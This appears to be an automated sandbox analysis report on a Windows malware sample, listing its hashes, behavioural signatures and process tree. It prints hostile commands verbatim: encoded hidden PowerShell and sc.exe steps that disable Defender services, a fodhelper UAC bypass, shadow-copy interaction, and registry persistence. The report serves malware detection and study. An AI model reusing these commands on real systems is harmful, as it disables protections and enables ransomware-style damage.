Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 22:03
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
blanktexts.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
blanktexts.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target blanktexts.io_hyber.exe
- Size 49KB
- Sample260804-1yvt1a1eqe
- SHA256 83dd0c7ad3bd75196a73f03fce08bd17ee36131c004e9131ef529760dff23b9e
- MD5 cf920a1ff4f1f7b8e818c7a9f7bb91a3
- SHA1 4ef38c07cdde478250b267fe4accfddef945a31d
- SHA512 6e2037ddda6b344f94427456d8e96d310a9737170bd6d383138309de5c564eba7ee089b65e47cfa25c09337b708fc19096424503a4b0aa6f491e72dfb23de864
- SSDEEP 768:frVZZ6zs0h16cFdQuSbqc/NKPzfX/fLN43:3Z6HhIxGcGP/fLN43
- TLSH T11D33054437ED4521E1BF9ABE89B251128731F463DC23DB9E1AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4140-1-0x0000000000FB0000-0x0000000000FC2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" blanktexts.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1812 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" blanktexts.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts blanktexts.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1412 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf blanktexts.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf blanktexts.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf blanktexts.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_hyber.exe" blanktexts.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1876 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe blanktexts.io_hyber.exe File created C:\Windows\system32\sysupdate.exe blanktexts.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe blanktexts.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 2104 wscript.exe 4484 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" blanktexts.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\87679231.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3544 sc.exe 4280 sc.exe 1436 sc.exe 3436 sc.exe 3496 sc.exe 2864 sc.exe 3280 sc.exe 5252 sc.exe 1636 sc.exe 4156 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3680 cmd.exe 2940 cmd.exe 2404 cmd.exe 3020 cmd.exe 2024 cmd.exe 4372 cmd.exe 3524 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5560 ipconfig.exe 2352 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1308 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4444 vssadmin.exe 1440 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\WallpaperStyle = "2" blanktexts.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_hyber.exe\" \"%1\"" blanktexts.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell blanktexts.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\blanktexts.io_hyber.exe" blanktexts.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command\DelegateExecute blanktexts.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command blanktexts.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open blanktexts.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell blanktexts.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command blanktexts.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open\command blanktexts.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings\shell\open blanktexts.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" blanktexts.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell blanktexts.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings blanktexts.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet blanktexts.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open blanktexts.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\ms-settings blanktexts.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2884 schtasks.exe 2192 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1812 powershell.exe 1812 powershell.exe 1812 powershell.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4860 WMIC.exe 4860 WMIC.exe 4860 WMIC.exe 4860 WMIC.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 2900 WMIC.exe 2900 WMIC.exe 4140 blanktexts.io_hyber.exe 2900 WMIC.exe 2900 WMIC.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe 4140 blanktexts.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4828 LogonUI.exe Token: SeCreatePagefilePrivilege 4828 LogonUI.exe Token: SeDebugPrivilege 4140 blanktexts.io_hyber.exe Token: SeDebugPrivilege 1812 powershell.exe Token: SeIncreaseQuotaPrivilege 1812 powershell.exe Token: SeSecurityPrivilege 1812 powershell.exe Token: SeTakeOwnershipPrivilege 1812 powershell.exe Token: SeLoadDriverPrivilege 1812 powershell.exe Token: SeSystemProfilePrivilege 1812 powershell.exe Token: SeSystemtimePrivilege 1812 powershell.exe Token: SeProfSingleProcessPrivilege 1812 powershell.exe Token: SeIncBasePriorityPrivilege 1812 powershell.exe Token: SeCreatePagefilePrivilege 1812 powershell.exe Token: SeBackupPrivilege 1812 powershell.exe Token: SeRestorePrivilege 1812 powershell.exe Token: SeShutdownPrivilege 1812 powershell.exe Token: SeDebugPrivilege 1812 powershell.exe Token: SeSystemEnvironmentPrivilege 1812 powershell.exe Token: SeRemoteShutdownPrivilege 1812 powershell.exe Token: SeUndockPrivilege 1812 powershell.exe Token: SeManageVolumePrivilege 1812 powershell.exe Token: 33 1812 powershell.exe Token: 34 1812 powershell.exe Token: 35 1812 powershell.exe Token: 36 1812 powershell.exe Token: SeIncreaseQuotaPrivilege 1812 powershell.exe Token: SeSecurityPrivilege 1812 powershell.exe Token: SeTakeOwnershipPrivilege 1812 powershell.exe Token: SeLoadDriverPrivilege 1812 powershell.exe Token: SeSystemProfilePrivilege 1812 powershell.exe Token: SeSystemtimePrivilege 1812 powershell.exe Token: SeProfSingleProcessPrivilege 1812 powershell.exe Token: SeIncBasePriorityPrivilege 1812 powershell.exe Token: SeCreatePagefilePrivilege 1812 powershell.exe Token: SeBackupPrivilege 1812 powershell.exe Token: SeRestorePrivilege 1812 powershell.exe Token: SeShutdownPrivilege 1812 powershell.exe Token: SeDebugPrivilege 1812 powershell.exe Token: SeSystemEnvironmentPrivilege 1812 powershell.exe Token: SeRemoteShutdownPrivilege 1812 powershell.exe Token: SeUndockPrivilege 1812 powershell.exe Token: SeManageVolumePrivilege 1812 powershell.exe Token: 33 1812 powershell.exe Token: 34 1812 powershell.exe Token: 35 1812 powershell.exe Token: 36 1812 powershell.exe Token: SeIncBasePriorityPrivilege 4140 blanktexts.io_hyber.exe Token: SeDebugPrivilege 2352 NETSTAT.EXE Token: SeDebugPrivilege 4320 whoami.exe Token: SeDebugPrivilege 1876 tasklist.exe Token: SeIncreaseQuotaPrivilege 4860 WMIC.exe Token: SeSecurityPrivilege 4860 WMIC.exe Token: SeTakeOwnershipPrivilege 4860 WMIC.exe Token: SeLoadDriverPrivilege 4860 WMIC.exe Token: SeSystemProfilePrivilege 4860 WMIC.exe Token: SeSystemtimePrivilege 4860 WMIC.exe Token: SeProfSingleProcessPrivilege 4860 WMIC.exe Token: SeIncBasePriorityPrivilege 4860 WMIC.exe Token: SeCreatePagefilePrivilege 4860 WMIC.exe Token: SeBackupPrivilege 4860 WMIC.exe Token: SeRestorePrivilege 4860 WMIC.exe Token: SeShutdownPrivilege 4860 WMIC.exe Token: SeDebugPrivilege 4860 WMIC.exe Token: SeSystemEnvironmentPrivilege 4860 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4140 blanktexts.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4828 LogonUI.exe 4828 LogonUI.exe 4140 blanktexts.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4140 wrote to memory of 1812 4140 blanktexts.io_hyber.exe 91 PID 4140 wrote to memory of 3436 4140 blanktexts.io_hyber.exe 93 PID 4140 wrote to memory of 3496 4140 blanktexts.io_hyber.exe 95 PID 4140 wrote to memory of 2864 4140 blanktexts.io_hyber.exe 97 PID 4140 wrote to memory of 3544 4140 blanktexts.io_hyber.exe 99 PID 4140 wrote to memory of 5252 4140 blanktexts.io_hyber.exe 101 PID 4140 wrote to memory of 1436 4140 blanktexts.io_hyber.exe 103 PID 4140 wrote to memory of 3280 4140 blanktexts.io_hyber.exe 105 PID 4140 wrote to memory of 4280 4140 blanktexts.io_hyber.exe 107 PID 4140 wrote to memory of 5096 4140 blanktexts.io_hyber.exe 108 PID 5096 wrote to memory of 1916 5096 fodhelper.exe 110 PID 4140 wrote to memory of 2104 4140 blanktexts.io_hyber.exe 113 PID 4140 wrote to memory of 2884 4140 blanktexts.io_hyber.exe 114 PID 4140 wrote to memory of 2404 4140 blanktexts.io_hyber.exe 119 PID 4140 wrote to memory of 2940 4140 blanktexts.io_hyber.exe 120 PID 4140 wrote to memory of 3680 4140 blanktexts.io_hyber.exe 121 PID 4140 wrote to memory of 3524 4140 blanktexts.io_hyber.exe 122 PID 4140 wrote to memory of 4372 4140 blanktexts.io_hyber.exe 123 PID 4140 wrote to memory of 2024 4140 blanktexts.io_hyber.exe 124 PID 4140 wrote to memory of 3020 4140 blanktexts.io_hyber.exe 125 PID 4140 wrote to memory of 2192 4140 blanktexts.io_hyber.exe 129 PID 4140 wrote to memory of 4484 4140 blanktexts.io_hyber.exe 135 PID 4140 wrote to memory of 5800 4140 blanktexts.io_hyber.exe 136 PID 2024 wrote to memory of 5560 2024 cmd.exe 137 PID 4372 wrote to memory of 1516 4372 cmd.exe 138 PID 3020 wrote to memory of 2352 3020 cmd.exe 139 PID 1516 wrote to memory of 1392 1516 net.exe 140 PID 4140 wrote to memory of 1440 4140 blanktexts.io_hyber.exe 141 PID 4140 wrote to memory of 4860 4140 blanktexts.io_hyber.exe 142 PID 4140 wrote to memory of 4952 4140 blanktexts.io_hyber.exe 143 PID 4140 wrote to memory of 1412 4140 blanktexts.io_hyber.exe 144 PID 4140 wrote to memory of 4156 4140 blanktexts.io_hyber.exe 145 PID 4140 wrote to memory of 1636 4140 blanktexts.io_hyber.exe 146 PID 3680 wrote to memory of 1876 3680 cmd.exe 154 PID 3524 wrote to memory of 4320 3524 cmd.exe 153 PID 2940 wrote to memory of 1308 2940 cmd.exe 155 PID 4952 wrote to memory of 4404 4952 net.exe 156 PID 2404 wrote to memory of 4444 2404 cmd.exe 157 PID 2404 wrote to memory of 2900 2404 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1812
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3436
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3496
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2864
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3544
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5252
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1436
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3280
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4280
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe"3⤵PID:1916
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2104
